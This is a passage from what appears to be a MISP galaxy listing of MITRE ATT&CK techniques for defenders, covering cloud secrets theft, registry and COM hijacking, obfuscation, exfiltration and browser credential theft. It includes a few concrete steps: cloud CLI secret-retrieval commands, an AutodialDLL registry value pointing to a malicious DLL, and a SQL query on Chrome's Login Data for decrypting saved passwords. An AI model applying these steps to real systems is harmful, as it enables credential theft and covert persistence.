If an adversary is able to gain sufficient privileges in a cloud environment – for example, by obtaining the credentials of high-privileged [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004) or compromising a service that has permission to retrieve secrets – they may be able to request secrets from the secrets manager. This can be accomplished via commands such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure.(Citation: Permiso Scattered Spider 2023)(Citation: Sysdig ScarletEel 2.0 2023)(Citation: AWS Secrets Manager)(Citation: Google Cloud Secrets)(Citation: Microsoft Azure Key Vault)

Note: this technique is distinct from [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005) in that the credentials are being directly requested from the cloud secrets manager, rather than through the medium of the instance metadata API.

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Secrets Management Stores - T1555.006"*

Table 8115. Table References

Links
https://attack.mitre.org/techniques/T1555/006
https://cloud.google.com/secret-manager/docs/view-secret-details
https://docs.aws.amazon.com/secretsmanager/latest/userguide/retrieving-secrets.html
https://learn.microsoft.com/en-us/azure/key-vault/secrets/quick-create-cli
https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud
https://sysdig.com/blog/scarleteel-2-0/

Modify Cloud Compute Configurations - T1578.005

Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim's compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.

For example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities,

such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim's entire quota.(Citation: Microsoft Cryptojacking 2023) Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy)

Adversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535).

The tag is: *misp-galaxy:mitre-attack-pattern="Modify Cloud Compute Configurations - T1578.005"*

Table 8116. Table References

Links
https://attack.mitre.org/techniques/T1578/005
https://learn.microsoft.com/en-us/azure/governance/policy/samples/built-in-policies#compute
https://www.microsoft.com/en-us/security/blog/2023/07/25/cryptojacking-understanding-and-defending-against-cloud-compute-resource-abuse/

Services Registry Permissions Weakness - T1574.011

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter other Registry keys in the service's Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)

The <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service's Registry tree to point to a malicious DLL.(Citation:

insecure_reg_perms)

Adversaries may also add the <code>Parameters</code> key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the <code>Parameters</code> key of a given services registry configuration. By placing and configuring the <code>Parameters</code> key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.

For example, the registry path(Citation: MDSec) <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters</code>(Citation: hexacorn)(Citation: gendigital) contains the <code>AutodiaDLL</code> value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the <code>AutodiaDLL</code> to point to a hijacked or malicious DLL:

<code>"AutodialDLL"="c:\temp\foo.dll"</code>

This ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.

The tag is: *misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011"*

Table 8117. Table References

Links
https://attack.mitre.org/techniques/T1574/011
https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN
https://itm4n.github.io/windows-registry-rpceptmapper-eop/
https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html
https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/
https://www.gendigital.com/blog/insights/research/operation-dragon-castling-apt-group-targeting-betting-companies
https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/
https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/
https://x.com/r0wdy_/status/936365549553991680

Component Object Model Hijacking - T1546.015

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry.

Adversaries may use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

One variation of COM hijacking involves abusing Type Libraries (TypeLibs), which provide metadata about COM objects, such as their interfaces and methods. Adversaries may modify Registry keys associated with TypeLibs to redirect legitimate COM object functionality to malicious scripts or payloads. Unlike traditional COM hijacking, which commonly uses local DLLs, this variation may leverage the "script:" moniker to execute remote scripts hosted on external servers.(Citation: RELIAQUEST) This approach enables stealthy execution of code while maintaining persistence, as the remote payload would be automatically downloaded whenever the hijacked COM object is accessed.

The tag is: *misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015"*

Table 8118. Table References

Links
https://attack.mitre.org/techniques/T1546/015
https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
https://msdn.microsoft.com/library/ms694363.aspx
https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/
https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com

Deobfuscate/Decode Files or Information - T1140

Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.

One such example is the use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows <code>copy /b</code> or <code>type</code> command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016)(Citation: Sentinel One Tainted Love 2023)

Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the

adversary.(Citation: Volexity PowerDuke November 2016)

The tag is: *misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"*

Table 8119. Table References

Links
https://attack.mitre.org/techniques/T1140
https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/
https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/
https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/
https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/

Obtain domain/IP registration information - T1251

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1251).

For a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Obtain domain/IP registration information - T1251"*

Table 8120. Table References

Links
https://attack.mitre.org/techniques/T1251

Assign KITs/KIQs into categories - T1228

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1228).

Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary. An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)

The tag is: *misp-galaxy:mitre-attack-pattern="Assign KITs/KIQs into categories - T1228"*

Table 8121. Table References

Links
https://attack.mitre.org/techniques/T1228

Receive operator KITs/KIQs tasking - T1235

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1235).

Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement. Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)

The tag is: *misp-galaxy:mitre-attack-pattern="Receive operator KITs/KIQs tasking - T1235"*

Table 8122. Table References

Links
https://attack.mitre.org/techniques/T1235

Data Transfer Size Limits - T1030

An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030"*

Table 8123. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1030

Data from Local System - T1005

Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration.

Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"*

Table 8124. Table References

Links
https://attack.mitre.org/techniques/T1005
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_protocols_through_showmon.html#wp2760878733
https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits
https://www.us-cert.gov/ncas/alerts/TA18-106A

Exfiltration Over C2 Channel - T1041

Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041"*

Table 8125. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1041

Exploitation of Remote Services - T1210

Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.

An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.

There are several well-known vulnerabilities that exist in common services such as SMB(Citation: CIS Multiple SMB Vulnerabilities) and RDP(Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL(Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)(Citation: Ars Technica VMWare Code Execution

Vulnerability 2021) Additionally, there have been a number of vulnerabilities in VMware vCenter installations, which may enable threat actors to move laterally from the compromised vCenter server to virtual machines or even to ESXi hypervisors.(Citation: Broadcom VMSA-2024-0019)

Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.

The tag is: *misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210"*

Table 8126. Table References

Links
https://arstechnica.com/information-technology/2021/02/armed-with-exploits-hackers-on-the-prowl-for-a-critical-vmware-vulnerability/
https://attack.mitre.org/techniques/T1210
https://github.com/vmware/vcf-security-and-compliance-guidelines/blob/main/security-advisories/vmsa-2024-0019/README.md
https://nvd.nist.gov/vuln/detail/CVE-2014-7169
https://nvd.nist.gov/vuln/detail/CVE-2016-6662
https://nvd.nist.gov/vuln/detail/CVE-2017-0176
https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/

System Network Configuration Discovery - T1016

Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](ifconfig (https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).

Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. <code>show ip route</code>, <code>show ip interface</code>).(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion) On ESXi, adversaries may leverage esxcli to gather network configuration information. For example, the command `esxcli network nic list` will retrieve the MAC address, while `esxcli network ip interface ipv4 get` will retrieve the local IPv4 address.(Citation: Trellix Rnasomhouse 2024)

Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.

The tag is: *misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016"*

Table 8127. Table References

Links
https://attack.mitre.org/techniques/T1016
https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits
https://www.trellix.com/en-au/blogs/research/ransomhouse-am-see/
https://www.us-cert.gov/ncas/alerts/TA18-106A

Replication Through Removable Media - T1091

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.

Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).

The tag is: *misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091"*

Table 8128. Table References

Links
https://attack.mitre.org/techniques/T1091
https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.226.3427&rep=rep1&type=pdf
https://techcrunch.com/2019/08/12/iphone-charging-cable-hack-computer-def-con/
https://www.computerworld.com/article/2486903/windows-malware-tries-to-infect-android-devices-connected-to-pcs.html

Exploitation for Client Execution - T1203

Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive

toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

Several types exist:

Browser-based Exploitation

Web browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.

Office Applications

Common office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.

Common Third-party Applications

Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.

The tag is: *misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203"*

Table 8129. Table References

Links
https://attack.mitre.org/techniques/T1203

Change Default File Association - T1042

When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

System file associations are listed under <code>HKEY_CLASSES_ROOT\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\[handler]\shell\[action]\command</code>. For example: * <code>HKEY_CLASSES_ROOT\txtfile\shell\open\command</code> * <code>HKEY_CLASSES_ROOT\txtfile\shell\print\command</code> * <code>HKEY_CLASSES_ROOT\txtfile\shell\printto\command</code>

The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Change Default File Association - T1042"*

Table 8130. Table References

Links
http://msdn.microsoft.com/en-us/library/bb166549.aspx
https://attack.mitre.org/techniques/T1042
https://capec.mitre.org/data/definitions/556.html
https://docs.microsoft.com/windows-server/administration/windows-commands/assoc
https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd

File and Directory Discovery - T1420

Adversaries may enumerate files and directories or search in specific device locations for desired information within a filesystem. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1420) during automated discovery to shape follow-on behaviors, including deciding if the adversary should fully infect the target and/or attempt specific actions.

On Android, Linux file permissions and SELinux policies typically stringently restrict what can be accessed by apps without taking advantage of a privilege escalation exploit. The contents of the external storage directory are generally visible, which could present concerns if sensitive data is inappropriately stored there. iOS's security architecture generally restricts the ability to perform any type of [File and Directory Discovery](https://attack.mitre.org/techniques/T1420) without use of escalated privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420"*

Table 8131. Table References

Links
https://attack.mitre.org/techniques/T1420

https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-41.html

Data from Removable Media - T1025

Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.

Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025"*

Table 8132. Table References

Links
https://attack.mitre.org/techniques/T1025

Exfiltration Over Physical Medium - T1052

Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052"*

Table 8133. Table References

Links
https://attack.mitre.org/techniques/T1052

Data from Configuration Repository - T1602

Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.

Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Configuration Repository - T1602"*

Table 8134. Table References

Links
https://attack.mitre.org/techniques/T1602
https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3
https://us-cert.cisa.gov/ncas/alerts/TA17-156A
https://www.us-cert.gov/ncas/alerts/TA18-106A

Obfuscated Files or Information - T1027

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript.

Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)

Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"*

Table 8135. Table References

Links
https://attack.mitre.org/techniques/T1027
https://github.com/danielbohannon/Revoke-Obfuscation
https://github.com/itsreallynick/office-crackros

https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/
https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html
https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science-wp.pdf
https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/
https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/
https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/

Communication Through Removable Media - T1092

Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system.(Citation: ESET Sednit USBStealer 2014) Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.

The tag is: *misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092"*

Table 8136. Table References

Links
http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/
https://attack.mitre.org/techniques/T1092

Modify Cached Executable Code - T1403

ART (the Android Runtime) compiles optimized code on the device itself to improve performance. An adversary may be able to use escalated privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.(Citation: Sabanal-ART)

The tag is: *misp-galaxy:mitre-attack-pattern="Modify Cached Executable Code - T1403"*

Table 8137. Table References

Links
https://attack.mitre.org/techniques/T1403

https://www.blackhat.com/docs/asia-15/materials/asia-15-Sabanal-Hiding-Behind-ART-wp.pdf

Credentials from Web Browsers - T1503

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018)

Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\Local\Google\Chrome\User Data\Default\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim's cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)

Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)

After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503"*

Table 8138. Table References

Links
https://attack.mitre.org/techniques/T1503
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata
https://github.com/putterpanda/mimikittenz
https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html
https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign

Data from Cloud Storage - T1530

Adversaries may access data from cloud storage.

Many IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform.

In some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)).

Adversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.

This open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)

Adversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Cloud Storage - T1530"*

Table 8139. Table References

Links
https://attack.mitre.org/techniques/T1530
https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/
https://cloud.google.com/storage/docs/best-practices
https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide
https://redcanary.com/blog/rclone-mega-extortion/
https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/

https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia
https://www.wired.com/story/magecart-amazon-cloud-hacks/

Indicator Removal on Host - T1630

Adversaries may delete, alter, or hide generated artifacts on a device, including files, jailbreak status, or the malicious application itself. These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of mobile security solutions by causing notable events or information to go unreported.

The tag is: *misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1630"*

Table 8140. Table References

Links
